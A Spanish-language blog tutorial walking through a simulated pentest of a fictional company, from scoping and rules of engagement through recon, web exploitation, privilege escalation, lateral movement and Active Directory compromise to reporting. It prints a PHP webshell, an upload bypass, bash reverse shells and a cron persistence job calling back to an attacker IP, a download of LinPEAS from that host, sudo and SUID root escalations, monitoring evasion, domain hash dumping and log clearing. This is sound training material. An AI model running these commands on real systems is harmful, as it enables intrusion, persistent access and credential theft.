davidalvk

Simulando un pentest completo en red empresarial

Secciones

Introducción

En este nuevo artículo, vamos a embarcarnos en un viaje técnico y práctico por una prueba de penetración completa contra una red empresarial simulada. Este laboratorio reproduce un entorno realista en el que pondremos a prueba todas nuestras habilidades acumuladas: desde la recopilación de información hasta la explotación, movimiento lateral, y compromisos de Active Directory.

Objetivo del laboratorio

La finalidad de este laboratorio es replicar una auditoría real contra la organización ficticia «EmpresaFicticia». Este entorno ha sido creado con el propósito de evaluar paso a paso cómo opera un profesional en pruebas de penetración (Pentester) en el mundo real, frente a los distintos niveles de seguridad perimetral e interna de una empresa.

A lo largo de esta serie:

  • Analizaremos fases de pre-compromiso y definición del alcance.
  • Ejecutaremos pruebas externas contra servicios visibles desde Internet.
  • Identificaremos vectores de entrada mediante aplicaciones web y servicios expuestos.
  • Escalaremos privilegios dentro de la red interna hasta comprometer el dominio.
  • Documentaremos todos los hallazgos, vulnerabilidades y recomendaciones.

Fases Clave

La metodología de trabajo estará dividida en etapas que reflejan las buenas prácticas del ciclo de vida de una prueba de penetración:

  1. Pre-compromiso: Planificación, acuerdos legales y definición del alcance.
  2. Recopilación de información: Enumeración activa y pasiva desde el exterior.
  3. Explotación: Compromiso de sistemas vulnerables expuestos.
  4. Post-explotación: Acceso, persistencia, reconocimiento interno.
  5. Movimiento lateral: Escalada a otros hosts, usuarios y privilegios.
  6. Compromiso total: Dominio Active Directory comprometido.
  7. Cierre y documentación: Redacción de un informe profesional para el cliente.

Cada sección abordará una de estas fases, incorporando comandos técnicos, herramientas clave como nmap, ffuf, gobuster, dig, ftp, rpcinfo, wpscan, burp, y consejos para mejorar tu eficacia como auditor de seguridad ofensiva.

Para Quién Es Esta Serie

Esta guía está diseñada para:

  • Estudiantes de ciberseguridad que deseen afianzar habilidades técnicas avanzadas.
  • Pentesters intermedios que quieran consolidar su metodología.
  • Consultores de seguridad que necesiten practicar pruebas de penetración completas.

Advertencia Ética

Todo el contenido aquí presentado tiene fines educativos. Las técnicas descritas deben aplicarse únicamente en entornos controlados o con autorización expresa. El uso indebido de estos conocimientos en redes o sistemas ajenos sin permiso es ilegal y va en contra de la ética profesional.

1. Fase de Pre-Compromiso: El Pilar Administrativo del Pentesting

Antes de lanzar un solo escaneo o escribir una línea de código, el trabajo de un pentester comienza con una fase crítica y muchas veces subestimada: el pre-compromiso. En esta etapa inicial, sentamos las bases legales, logísticas y técnicas para garantizar que todas las acciones que realizaremos en la red objetivo estén autorizadas, bien planificadas y debidamente documentadas.

1.1. ¿Qué es el Pre-Compromiso?

El pre-compromiso es la fase en la que se definen los límites y condiciones del proyecto de pruebas de penetración. Involucra:

  • Aprobaciones legales formales.
  • Establecimiento del alcance del trabajo (SoW).
  • Firma del documento de Reglas de Compromiso (RoE).
  • Coordinación de equipos, cronograma y medios de comunicación.
  • Recolección de la información inicial del cliente.

Este paso es crucial para evitar consecuencias legales, malentendidos operativos y asegurar que ambas partes estén alineadas.

1.2. Documentación Clave

1.2.1. Scope of Work (SoW)

Este documento detalla:

  • Las redes, dominios y activos que estarán bajo prueba.
  • El tipo de pruebas permitidas (externas, internas, web, AD, etc.).
  • Las fechas de inicio y fin.
  • Herramientas permitidas y restricciones tecnológicas.

Ejemplo de activos en alcance:

Externos:
10.129.x.x (host público de la empresa)
*.EmpresaFicticia.local (subdominios del dominio principal)

Internos:
172.16.8.0/23
172.16.9.0/23
EMPRESAFICTICIA.LOCAL (Active Directory)

1.2.2. Reglas de Compromiso (RoE)

Este contrato complementario establece los límites de las pruebas:

  • Qué está permitido (p. ej. escaneos agresivos, explotaciones controladas).
  • Qué está prohibido (p. ej. ataques DoS, phishing, manipular sistemas productivos).
  • Horarios autorizados para ejecutar pruebas (en este caso, 24/7 pero con escaneos intensivos fuera del horario laboral).
  • Contactos de emergencia de ambas partes.

1.3. Coordinación Operativa

Una buena práctica al comenzar una prueba es configurar inmediatamente:

  • Un entorno de trabajo organizado (directorios por fases, registros de evidencias, etc.).
  • Un sistema de toma de notas (Markdown, Obsidian, CherryTree, Notion).
  • Una plantilla de informe preliminar donde iremos documentando desde el día uno.

Directorios sugeridos

~/Engagements/EmpresaFicticia/
├── Evidence/
│   ├── Scans/
│   ├── Web/
│   └── Internal/
├── Notes.md
├── Report.md
└── scope.txt

Notificación de Inicio

Una acción profesional y recomendada es enviar un correo de inicio de pruebas. Este correo avisa a los puntos de contacto definidos en el RoE que las actividades han comenzado.

Ejemplo de correo:

Asunto: Inicio de Pruebas de Penetración - EmpresaFicticia

Estimados,

Les informamos que a partir de hoy, lunes a primera hora, comenzamos con las pruebas de penetración acordadas contra los activos definidos en el alcance. Toda la actividad será documentada y los hallazgos se recopilarán de manera responsable.

Quedamos atentos ante cualquier anormalidad observada.

Saludos cordiales,
DavidalVK - Pentester

Con esto, dejamos cimentado nuestro punto de partida. Una buena fase de pre-compromiso puede marcar la diferencia entre un test exitoso y un desastre legal/técnico.

2. Escenario y Lanzamiento: Primeros Pasos del Pentesting Externo

Con la fase de pre-compromiso completada y toda la documentación legal y técnica aprobada, estamos listos para empezar las pruebas.

2.1. Escenario del Cliente

La empresa ficticia EmpresaFicticia ha contratado a nuestra firma, EMPRESA SEGURIDAD S.L., para llevar a cabo una prueba de penetración externa completa. El objetivo: evaluar su seguridad perimetral y determinar hasta dónde puede llegar un atacante remoto sin credenciales internas.

Objetivo Principal

Descubrir y explotar cualquier debilidad en:

  • Aplicaciones web expuestas.
  • Servicios accesibles desde Internet.
  • Infraestructura DNS y correo electrónico.

En caso de comprometer un activo y lograr acceso a la red interna, también se nos ha autorizado a realizar una evaluación interna, incluyendo el dominio de Active Directory.

2.2. Alcance del Proyecto

Según el SoW, el alcance está dividido en dos segmentos:

Activos externos:

  • Rango IP: 10.129.x.x
  • Dominio: *.EmpresaFicticia.local

Activos internos (si se accede desde el exterior):

  • Rango IP: 172.16.8.0/23 y 172.16.9.0/23
  • Dominio de Active Directory: EMPRESAFICTICIA.LOCAL

No se han proporcionado credenciales, lo que nos obliga a actuar desde la posición de un atacante completamente externo.

2.3. Reglas del Juego

Permisos:

  • Escaneos agresivos y automatizados: Permitidos.
  • Explotación de servicios: Permitida, sin causar DoS.
  • Pruebas 24/7: Aprobadas, pero los escaneos intensivos deben realizarse después de las 18:00 (hora de Londres).

Prohibido:

  • Phishing o ingeniería social.
  • Ataques físicos.
  • Denegación de servicio (DoS).
  • Modificación de sistemas sin consentimiento.

2.4. Preparación del Pentester

Antes de tocar cualquier sistema del cliente, tenemos nuestra máquina virtual configurada, herramientas listas y estructura de directorios creada para documentar pruebas, escaneos y resultados.

Directorio base del proyecto:

~/Engagements/EmpresaFicticia/

Herramientas confirmadas:

  • Nmap
  • Gobuster / ffuf
  • EyeWitness
  • curl, dig, telnet, ftp, rpcinfo, Burp Suite

Adicionalmente, se inicia la redacción preliminar del informe mientras se ejecutan escaneos pasivos o tareas automatizadas. Esto ahorra tiempo y asegura que los hallazgos sean documentados desde el inicio.

2.5. Arrancando el Proyecto

La jornada comienza con el envío de un correo electrónico formal anunciando el inicio de las pruebas:

Asunto: Inicio de Evaluación de Seguridad - EmpresaFicticia

Buenos días,

Confirmamos que a partir de este momento inician las pruebas de seguridad autorizadas sobre los activos especificados en el contrato firmado. Cualquier actividad será cuidadosamente registrada y documentada.

Estamos atentos ante cualquier evento o requerimiento por parte del equipo de TI.

Atentamente,
DavidalVK - Pentester

2.6. Primeros Pasos Técnicos

Con todo preparado, damos paso al primer escaneo de reconocimiento: recopilación de información externa, que abordaré en detalle en la siguiente publicación.

3. Recopilación de Información Externa: Explorando el Perímetro de EmpresaFicticia

En esta etapa damos el primer paso técnico dentro del engagement: el reconocimiento externo. Esta fase es vital porque sienta las bases para todo el ataque. Si recopilamos información pobremente, podríamos perder vectores de entrada críticos.

3.1. Escaneo Rápido con Nmap

Iniciamos con un escaneo TCP sobre los 1000 puertos más comunes para detectar qué servicios están disponibles en la IP objetivo (10.129.203.101).

sudo nmap --open -oA EmpresaFicticia_tcp_top1k -iL scope

Resultado parcial:

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
143/tcp  open  imap
993/tcp  open  imaps
995/tcp  open  pop3s
8080/tcp open  http-proxy

Esto revela una amplia superficie de ataque: servicios de red, correo, web y DNS.

3.2. Escaneo Completo y Agresivo

Ejecutamos un escaneo de puertos completo con detección de versiones, scripts y sistema operativo:

sudo nmap --open -p- -A -oA EmpresaFicticia_tcp_full -iL scope

El escaneo muestra detalles sobre los servicios:

  • FTP: vsftpd 3.0.3, permite login anónimo.
  • HTTP: Apache 2.4.41.
  • SSH: OpenSSH 8.2p1.
  • Correo: Postfix smtpd, Dovecot (POP3/IMAP).
  • DNS: ejecuta y permite consultas.

3.3. Extracción de Servicios con grep y awk

Para resumir los servicios identificados:

egrep -v "^#|Status: Up" EmpresaFicticia_tcp_full.gnmap | cut -d ' ' -f4- | tr ',' '\n' | sed -e 's/^[ \t]*//' | awk -F '/' '{print $7}' | grep -v "^$" | sort | uniq -c | sort -k 1 -nr

Esto nos permite priorizar la investigación de servicios activos.

3.4. Enumeración DNS: Transferencia de Zona

Probamos una transferencia de zona DNS:

dig axfr EmpresaFicticia.local @10.129.203.101

Resultado: Se revela una lista completa de subdominios:

blog.EmpresaFicticia.local
careers.EmpresaFicticia.local
dev.EmpresaFicticia.local
gitlab.EmpresaFicticia.local
...

Si la transferencia de zona no estuviera habilitada, podríamos usar métodos alternativos como dnsdumpster.com, amass o subfinder.

3.5. Fuzzing de VHosts con ffuf

Simulamos subdominios usando vhosts y filtramos por tamaño de respuesta:

Primero, detectamos el tamaño de vhosts no existentes:

curl -s -I http://10.129.203.101 -H "Host: invalid.EmpresaFicticia.local" | grep "Content-Length:"

Luego ejecutamos ffuf:

ffuf -w namelist.txt:FUZZ -u http://10.129.203.101/ \
  -H 'Host: FUZZ.EmpresaFicticia.local' -fs 15157

Resultado: se confirman subdominios que responden con contenido válido.

3.6. Actualización de /etc/hosts

Agregamos los subdominios descubiertos para facilitar la navegación y pruebas web:

sudo tee -a /etc/hosts > /dev/null <<EOT
10.129.203.101 EmpresaFicticia.local blog.EmpresaFicticia.local careers.EmpresaFicticia.local \
dev.EmpresaFicticia.local gitlab.EmpresaFicticia.local ir.EmpresaFicticia.local \
status.EmpresaFicticia.local support.EmpresaFicticia.local tracking.EmpresaFicticia.local \
vpn.EmpresaFicticia.local monitoring.EmpresaFicticia.local
EOT

3.7. Conclusiones de la Fase

Hasta aquí, tenemos:

  • Una superficie de ataque clara.
  • Servicios activos con posibles debilidades.
  • Subdominios y vhosts para enumeración web.
  • FTP anónimo y DNS vulnerable a transferencia de zona.

4. Enumeración y Explotación de Servicios: Identificando Vulnerabilidades Clave

Tras mapear la superficie de ataque durante el reconocimiento externo, nos adentramos en una de las fases más reveladoras de una prueba de penetración: enumeración y explotación de servicios. Aquí analizamos en profundidad los puertos y servicios descubiertos, evaluando su configuración, versión y posibles fallos de seguridad.

4.1. FTP (Puerto 21)

Servicio: vsFTPd 3.0.3
Estado: Abierto al login anónimo.

Verificación manual:

ftp 10.129.203.101
  • Usuario: anonymous
  • Contraseña: (vacía)

Resultado:

230 Login successful.
ftp> ls
-rw-r--r--    1 0        0              38 May 30 17:16 flag.txt

Aunque no hay archivos sensibles y no podemos escribir:

put test.txt
550 Permission denied.

✅ Hallazgo reportable: FTP anónimo habilitado.

4.2. SSH (Puerto 22)

Servicio: OpenSSH 8.2p1 Ubuntu-4ubuntu0.5

Captura de banner:

nc -nv 10.129.203.101 22

Intentos de fuerza bruta (con precaución):

ssh admin@10.129.203.101
# Resultado: Permission denied

Sin usuarios válidos ni credenciales, este vector se descarta por ahora.

❌ Sin explotación viable sin credenciales.

4.3. SMTP (Puerto 25)

Servicio: Postfix smtpd
Utilizaremos telnet para interacción directa.

Enumeración de usuarios con VRFY:

telnet 10.129.203.101 25
VRFY root
VRFY www-data
VRFY randomuser

Respuesta:

252 2.0.0 root
252 2.0.0 www-data
550 5.1.1 <randomuser>: User unknown

✅ Hallazgo reportable: Enumeración de usuarios vía VRFY activa.

Validación contra open relay:

nmap -p25 -Pn --script smtp-open-relay 10.129.203.101

Resultado: servidor NO es relay abierto ✅

4.4. DNS (Puerto 53)

Ya realizamos una transferencia de zona con éxito. No hay más vectores de ataque DNS viables sin interacción interna.

✅ Hallazgo importante: Transferencia de zona DNS habilitada.

4.5. POP3 e IMAP (110/143/993/995)

Probaremos si se puede enumerar usuarios mediante telnet:

telnet 10.129.203.101 110
user www-data

Resultado:

-ERR [AUTH] Plaintext authentication disallowed on non-secure connections.

❌ Nada explotable aquí sin TLS y sin credenciales.

4.6. RPCBind (Puerto 111)

Este servicio expone el mapeador de puertos RPC. No debería estar abierto externamente.

Comprobación:

rpcinfo 10.129.203.101

Resultado:

  • Muestra múltiples versiones activas, pero sin explotación directa posible desde el exterior.

✅ Hallazgo reportable: Servicio innecesario expuesto.

4.7. HTTP / Web (Puertos 80 y 8080)

Servicios detectados:

  • Apache 2.4.41 en puerto 80
  • Apache 2.4.41 en 8080 (posible panel de soporte)

Se explorarán en detalle en la siguiente sección sobre enumeración y explotación web, pero desde ahora sabemos que hay múltiples subdominios expuestos:

  • blog.EmpresaFicticia.local
  • dev.EmpresaFicticia.local
  • careers.EmpresaFicticia.local
    …

Estos pueden ser vectores clave para ejecución remota, subida de archivos y escalado.

4.8. Conclusiones de la Fase

De los servicios descubiertos, destacamos:

  • FTP anónimo: ✅ Accesible.
  • SMTP con VRFY: ✅ Usuarios enumerables.
  • DNS con transferencia de zona: ✅ Configuración errónea.
  • RPC expuesto: ✅ Riesgo bajo, pero presente.
  • HTTP: ✅ Alta superficie de ataque a examinar.

Nos llevamos al menos cuatro hallazgos reportables y abrimos la puerta a posibles vulnerabilidades web, donde centramos la atención en el siguiente capítulo.

5. Enumeración y Explotación Web: El Punto de Entrada Más Común

En esta sección abordamos uno de los terrenos más fértiles para un atacante: las aplicaciones web expuestas. Durante una prueba de penetración externa, esta suele ser la superficie de ataque más amplia y compleja, pero también la más lucrativa.

Tras descubrir múltiples subdominios y servicios HTTP en los puertos 80 y 8080, procedemos a analizarlos sistemáticamente.

5.1. Revisión Masiva de Aplicaciones con EyeWitness

Para automatizar la inspección inicial de los vhosts y obtener capturas de pantalla, usamos EyeWitness:

eyewitness -f EmpresaFicticia_subdomains -d EmpresaFicticia_EyeWitness

Archivo de entrada (EmpresaFicticia_subdomains):

EmpresaFicticia.local
blog.EmpresaFicticia.local
careers.EmpresaFicticia.local
dev.EmpresaFicticia.local
gitlab.EmpresaFicticia.local
ir.EmpresaFicticia.local
status.EmpresaFicticia.local
support.EmpresaFicticia.local
tracking.EmpresaFicticia.local
vpn.EmpresaFicticia.local
monitoring.EmpresaFicticia.local

Con esto, identificamos rápidamente aplicaciones prometedoras.

5.2. blog.EmpresaFicticia.local → Drupal 9

curl -s http://blog.EmpresaFicticia.local | grep Drupal

Resultado:

<meta name="Generator" content="Drupal 9" />
  • Sin registros abiertos ni carga de archivos.
  • Versiones modernas de Drupal 9 no son vulnerables a Drupalgeddon.

✅ Recomendación: eliminar si no se usa.

5.3. careers.EmpresaFicticia.local → Portal de Empleo

Posibilidades:

  • Registro de usuarios.
  • Subida de CV (posible carga de archivos).

Hallazgo crítico: Insecure Direct Object Reference (IDOR)

http://careers.EmpresaFicticia.local/profile?id=9
  • Cambiar id permite ver otros perfiles y CVs.

✅ Vulnerabilidad reportable: IDOR

5.4. dev.EmpresaFicticia.local → Key Vault Casero

Formulario de login simple. Probamos evasiones y fuzzing:

gobuster dir -u http://dev.EmpresaFicticia.local -w /usr/share/wordlists/dirb/common.txt -x .php -t 300

Resultado:

  • /upload.php presente.
  • /uploads/ tiene listado de directorio.

Bypass con encabezado HTTP:

Capturamos con Burp y usamos:

TRACK /upload.php HTTP/1.1
Host: dev.EmpresaFicticia.local
X-Custom-IP-Authorization: 127.0.0.1

Acceso al formulario de carga oculto ✅

Subida de WebShell:

Archivo:

<?php system($_GET['cmd']); ?>

Modificamos en Burp:

  • Content-Type: image/png

Resultado:

/uploads/5351bf7271abaa2267e03c9ef6393f13.php

Validamos acceso remoto:

curl "http://dev.EmpresaFicticia.local/uploads/5351bf7271abaa2267e03c9ef6393f13.php?cmd=id"

✅ Vulnerabilidad crítica: Unrestricted File Upload + Verb Tampering

5.5. ir.EmpresaFicticia.local → WordPress Portal Inversores

Usamos WPScan:

sudo wpscan -e ap -t 500 --url http://ir.EmpresaFicticia.local

Detectamos:

  • WordPress 6.0 (actual).
  • Theme actualizado: cbusiness-investment
  • No plugins vulnerables conocidos.

Resultado: sin explotación viable. ✅ Segura.

5.6. Otros Subdominios

  • support.EmpresaFicticia.local: centro de tickets. No requiere login.
  • tracking.EmpresaFicticia.local: sistema logístico con JavaScript dinámico, sin puntos de entrada claros.
  • vpn.EmpresaFicticia.local: formulario de login VPN.
  • gitlab.EmpresaFicticia.local: redirige a /users/sign_in. Sin registro público.

✅ Posibles vectores de phishing o ataques internos, pero fuera de alcance.

Conclusiones de la Fase

Vulnerabilidades encontradas:

  • ✔️ IDOR en portal de empleos.
  • ✔️ File Upload + HTTP Verb Tampering en servidor dev.
  • ✔️ Subdominios útiles para futuras fases.

Recomendaciones inmediatas:

  • Desactivar directorios no utilizados (ej. blog).
  • Auditar acceso a /uploads.
  • Validar input en formularios y encabezados HTTP.

6. Acceso Inicial: De la Web al Control Remoto

Tras encontrar múltiples vulnerabilidades en aplicaciones web expuestas, es momento de pasar de la teoría a la acción. En esta sección consolidamos el acceso inicial utilizando vectores previamente descubiertos. Esta etapa marca la primera infiltración en el entorno de la organización objetivo, permitiendo escalar la intrusión hacia fases internas.

6.1. Vía de Entrada: dev.EmpresaFicticia.local

Durante la fase web, detectamos una grave vulnerabilidad de carga de archivos sin restricciones combinada con HTTP verb tampering:

  • Ruta: /upload.php
  • Encabezado utilizado: X-Custom-IP-Authorization: 127.0.0.1
  • Método HTTP permitido: TRACK

Aprovechamos esta falla para subir un webshell PHP:

<?php system($_GET['cmd']); ?>

Archivo subido exitosamente:

/uploads/5351bf7271abaa2267e03c9ef6393f13.php

6.2. Validación del Acceso

Comprobamos que el webshell responde:

curl "http://dev.EmpresaFicticia.local/uploads/5351bf7271abaa2267e03c9ef6393f13.php?cmd=id"

Resultado:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Hemos obtenido ejecución remota de comandos como el usuario www-data, típico de servidores web Linux.

6.3. Verificación de Alcance Interno

Determinar si este host tiene acceso a redes internas es clave para planear el movimiento lateral. Ejecutamos:

curl "http://dev.EmpresaFicticia.local/uploads/webshell.php?cmd=hostname -I"

Resultado:

172.18.0.3

Esto confirma que estamos en una red Docker o VLAN interna. Aún no dentro de 172.16.8.0/23, pero nos acercamos.

6.4. Alternativas de Pivoting

Si la máquina comprometida no permite pivot directo (por ejemplo, no tiene herramientas instaladas como ncat, ssh, socat), podríamos:

  • Cargar un binario estático.
  • Establecer un reverse shell.
  • Usar tunelado HTTP o SSH.

Intentamos un reverse shell básico:

<?php system('bash -c "bash -i >& /dev/tcp/10.10.14.25/4444 0>&1"'); ?>

En nuestra máquina de pruebas:

nc -lvnp 4444

Con éxito, obtenemos shell interactiva.

6.5. Mantenimiento del Acceso

Con la shell activa, consideramos subir un reverse shell persistente o crear un cron job temporal para persistencia.

⚠️ En este punto, según las reglas de compromiso, no modificamos archivos sin autorización explícita. Toda acción se mantiene volátil y documentada.

6.6. Conclusiones del Acceso Inicial

Estado:
✅ Acceso obtenido como www-data en servidor dev.
✅ Comandos remotos ejecutados con éxito.
✅ Shell interactiva establecida.
🔍 Red interna accesible parcialmente.

7. Persistencia Posterior a la Explotación: Manteniendo el Acceso y Explorando el Terreno

Ahora que se ha logrado el acceso inicial mediante una shell interactiva como www-data, entramos en una etapa estratégica del pentesting: la post-explotación enfocada en persistencia. En esta sección, abordaremos cómo permanecer dentro del sistema sin ser detectados y comenzar la recolección interna sin levantar sospechas.

7.1. Fundamentos de la Persistencia Ética

El objetivo de la persistencia en pruebas autorizadas no es el sabotaje, sino simular cómo un atacante real mantendría acceso para evaluar la capacidad de detección y respuesta del equipo de defensa.

Restricción clave:
Según las reglas de compromiso, no podemos modificar archivos críticos ni instalar software permanente sin autorización explícita.

Por lo tanto, optamos por métodos de bajo impacto, temporales, y fáciles de eliminar.

7.2. Persistencia en Shell: Reverse Shell Cíclica con Cron

Si el sistema comprometido tiene acceso a cron, podemos configurar una tarea que reconecte con nuestro host cada X minutos.

1. Creamos script temporal:

echo 'bash -i >& /dev/tcp/10.10.14.25/4444 0>&1' > /tmp/rs.sh
chmod +x /tmp/rs.sh

2. Editamos cron del usuario actual:

echo "*/5 * * * * /bin/bash /tmp/rs.sh" >> /tmp/mycron
crontab /tmp/mycron

Esto lanza un reverse shell cada 5 minutos.

✅ Volátil, removible y sin tocar archivos de sistema.

7.3. Mantenimiento a Través de Webshells

La webshell subida en /uploads/ sigue activa. Aseguramos su integridad mientras evitamos el monitoreo.

Recomendación:

  • Renombrar archivo para hacerlo menos evidente:
mv /var/www/html/uploads/webshell.php /var/www/html/uploads/assets.php
  • Agregar una clave oculta para proteger la ejecución:
<?php if($_GET['k'] === 'EmpresaFicticiakey'){ system($_GET['cmd']); } ?>

7.4. Recolección de Información Interna Inicial

Mientras se asegura la persistencia, podemos comenzar el reconocimiento de red y del host comprometido.

Comandos útiles desde la shell:

ip a
ip route
netstat -tulnp
cat /etc/passwd
hostnamectl
whoami
ls -la /home
ps aux

✅ Esto nos brinda contexto de:

  • Interfaces de red.
  • Conectividad interna.
  • Servicios escuchando.
  • Usuarios válidos en el sistema.

7.5. Listado de Hosts Alcanzables

Una técnica de reconocimiento simple y eficaz es el barrido ICMP desde el host comprometido:

for i in {1..254}; do ping -c1 172.16.8.$i | grep "64 bytes"; done

Alternativa si nmap está instalado:

nmap -sn 172.16.8.0/24

✅ Esto nos permite construir el mapa de la red interna y seleccionar futuros objetivos.

7.6. Conclusiones de Persistencia y Reconocimiento Inicial

En esta etapa hemos:

  • Asegurado una conexión periódica hacia nuestra máquina.
  • Conservado acceso vía webshell discreta.
  • Iniciado el mapeo interno del sistema y red.

8. Escalada de Privilegios: De Usuario Web a Root

Con un acceso inicial consolidado como www-data en el servidor comprometido, el siguiente objetivo es claro: obtener privilegios más altos. En esta sección vamos a ejecutar técnicas prácticas de escalada de privilegios locales, buscando pasar de un usuario restringido a un usuario con control total: root.

8.1. Recopilación de Información del Sistema

Antes de lanzar exploits ciegamente, recopilamos contexto sobre el entorno:

uname -a
lsb_release -a
id
cat /etc/os-release
sudo -l

Resultado:

Linux devhost 5.4.0-144-generic #161-Ubuntu SMP
Ubuntu 20.04.6 LTS
uid=33(www-data) gid=33(www-data) groups=33(www-data)

También listamos SUID y permisos especiales:

find / -perm -4000 -type f 2>/dev/null

8.2. Análisis con LinPEAS

Subimos y ejecutamos LinPEAS para una enumeración automática:

curl http://10.10.14.25/tools/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
./tmp/linpeas.sh

Entre la salida extensa, buscamos:

  • Binaries con permisos SUID inusuales.
  • Variables PATH mal configuradas.
  • Credenciales expuestas en scripts o backups.
  • Servicios con permisos inseguros.

8.3. Explotación de Sudo (Si Aplica)

Si sudo -l revela privilegios sin contraseña:

(ALL) NOPASSWD: /usr/bin/apt

Podemos aprovecharlo:

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

✅ Esto lanza una shell como root si el binario es elevable sin password.

8.4. Escalada Mediante SUID – python

Detectamos que /usr/bin/python3.8 tiene el bit SUID:

ls -la /usr/bin/python3.8
-rwsr-xr-x 1 root root 5498488 Apr  1  2023 /usr/bin/python3.8

Ejecutamos:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Resultado:

root@devhost:/# id
uid=0(root) gid=33(www-data) groups=33(www-data)

✅ Escalada exitosa.

8.5. Validación del Entorno Root

Una vez como root:

whoami
hostnamectl
ls -la /root
cat /root/.bash_history

Esto confirma:

  • Acceso total al sistema.
  • Capacidad para leer archivos sensibles.
  • Visibilidad sobre actividad pasada del administrador.

8.6. Conclusiones de Escalada de Privilegios

📌 Hemos pasado de un usuario web aislado a un superusuario (root) dentro del servidor dev.

Esto nos otorga control completo sobre este sistema y abre puertas hacia otras máquinas, especialmente si reutilizan claves SSH, credenciales o comparten montajes de red.

9. Movimiento Lateral y Compromiso del Dominio: Expansión Estratégica

Una vez logrados privilegios de root en el primer sistema comprometido, se abre la posibilidad de pivotar a otros dispositivos y alcanzar uno de los objetivos más deseados de cualquier atacante: el compromiso del Active Directory.

9.1. Reconocimiento Interno desde el Host Comprometido

Comenzamos mapeando la red interna desde devhost, ahora con permisos de root:

Comandos básicos:

ip a
ip route
arp -a
netstat -tulnp

Escaneo de red interna (pasiva y activa):

nmap -sn 172.16.8.0/23
nmap -sT -p 22,80,445,3389 172.16.8.0/23 --open

Detectamos varios hosts activos, entre ellos:

  • 172.16.8.20: Servidor de archivos (SMB/445)
  • 172.16.9.10: Controlador de dominio (AD/DC)
  • 172.16.8.5: Estación Windows con RDP

9.2. Enumeración de Recursos Compartidos (SMB)

Exploramos recursos en el servidor de archivos:

smbclient -L //172.16.8.20 -N

Resultado:

Sharename       Type      Comment
---------       ----      -------
public          Disk      Shared Folder
backup          Disk      Nightly Backups
IPC$            IPC       IPC Service

Accedemos sin autenticación:

smbclient //172.16.8.20/backup -N

Encontramos archivos .bak, scripts y credenciales antiguas:

cat db_backup.sql | grep -i pass

✅ Contraseñas en texto plano y hashes.

9.3. Validación de Credenciales

Probamos las credenciales encontradas contra el controlador de dominio (DC):

rpcclient -U "user%password" 172.16.9.10

Si accedemos, probamos enumeración:

rpcclient $> enumdomusers
rpcclient $> queryuser 0x1f4

✅ Acceso exitoso como usuario del dominio.

9.4. Pivoting con SSH o SOCKS Proxy

Desde devhost, configuramos un tunel SOCKS para movernos desde nuestra máquina:

ssh -D 9050 -q -C -N root@devhost -p 22

Usamos proxychains:

proxychains xfreerdp /u:user /p:password /v:172.16.8.5

✅ Acceso RDP a estación de trabajo Windows.

9.5. Enumeración de Active Directory con credenciales válidas

Instalamos crackmapexec:

crackmapexec smb 172.16.9.10 -u user -p password --shares
crackmapexec smb 172.16.9.10 -u user -p password --users

Si se accede como usuario con privilegios de administración:

secretsdump.py user:password@172.16.9.10

✅ Extracción de hashes del dominio.

9.6. Compromiso del Dominio (DC)

Con acceso total, usamos evil-winrm para interactuar con el controlador de dominio:

evil-winrm -i 172.16.9.10 -u Administrator -p "Password123"

Verificamos:

whoami
hostname
Get-ADUser -Filter * | select SamAccountName

✅ Hemos comprometido completamente el Active Directory.

9.7. Conclusiones del Movimiento Lateral

En esta fase hemos:

  • Descubierto y accedido a recursos SMB internos.
  • Obtenido credenciales reutilizadas.
  • Pivotado a otros hosts.
  • Accedido al dominio y extraído hashes.

10. Post-Explotación y Cierre del Compromiso: Documentando la Intrusión

Tras comprometer completamente el dominio de EmpresaFicticia y haber accedido a múltiples hosts dentro de su red, entramos en la fase final de esta auditoría: la post-explotación avanzada y el cierre formal del compromiso. Esta etapa es crítica para convertir hallazgos técnicos en valor estratégico para la organización.

10.1. Limpieza de Huellas (Si está permitido)

En entornos reales, la eliminación de rastros solo se realiza si el cliente lo autoriza expresamente. Si se permite, limpiamos logs y artefactos generados:

Eliminar webshells y scripts:

rm /var/www/html/uploads/assets.php
rm /tmp/rs.sh
rm /tmp/linpeas.sh

Limpiar historial (si procede):

history -c
unset HISTFILE

✅ Se minimiza la exposición de nuestra actividad en el sistema.

10.2. Recolección de Evidencias para Informe

Durante toda la prueba se recopilaron capturas, logs y hashes. Estas evidencias se agrupan en el informe final:

Estructura de evidencia:

~/Engagements/EmpresaFicticia/Evidence/
├── Screenshots/
├── Hashes/
├── Creds/
├── Webshells/
├── LinPEAS/
└── Logs/

✅ Toda la evidencia está organizada para respaldo y reporte.

10.3. Análisis del Impacto

En esta fase se evalúan los vectores explotados y su repercusión:

FaseVectorImpacto
ExternoFTP anónimo, DNS AXFRExposición de datos
WebFile upload + verb tamperingAcceso inicial
InternoCredenciales SMB, backup SQLPivoting y lateral movement
DominioReutilización de credencialesCompromiso total del AD

10.4. Redacción del Informe Profesional

El informe final se compone de:

  • Resumen ejecutivo
  • Detalles técnicos por fase
  • Evidencias adjuntas
  • Recomendaciones por criticidad

Formato sugerido: PDF profesional con índice, tablas y métricas.

Plantilla base: report_template.md

pandoc report_template.md -o EmpresaFicticia_Pentest_Report.pdf

✅ El informe se entrega al cliente y puede incluir una presentación en vivo.

10.5. Reunión de Cierre

En la sesión de cierre con el cliente:

  • Se explican hallazgos clave en lenguaje accesible.
  • Se responde a dudas técnicas.
  • Se entregan mitigaciones rápidas.
  • Se recomienda una auditoría de seguimiento post-mitigación.

✅ El proyecto se cierra con transparencia y valor agregado.

Conclusiones Finales

El compromiso de la «EmpresaFicticia» ilustra cómo una cadena de vulnerabilidades —desde una mala configuración DNS hasta la reutilización de contraseñas— puede llevar al control total del entorno.

Esta serie demuestra que un pentesting efectivo no se trata solo de explotar, sino de comprender el contexto, documentar meticulosamente y traducir técnica en estrategia.

Comparte esta Publicación en Redes Sociales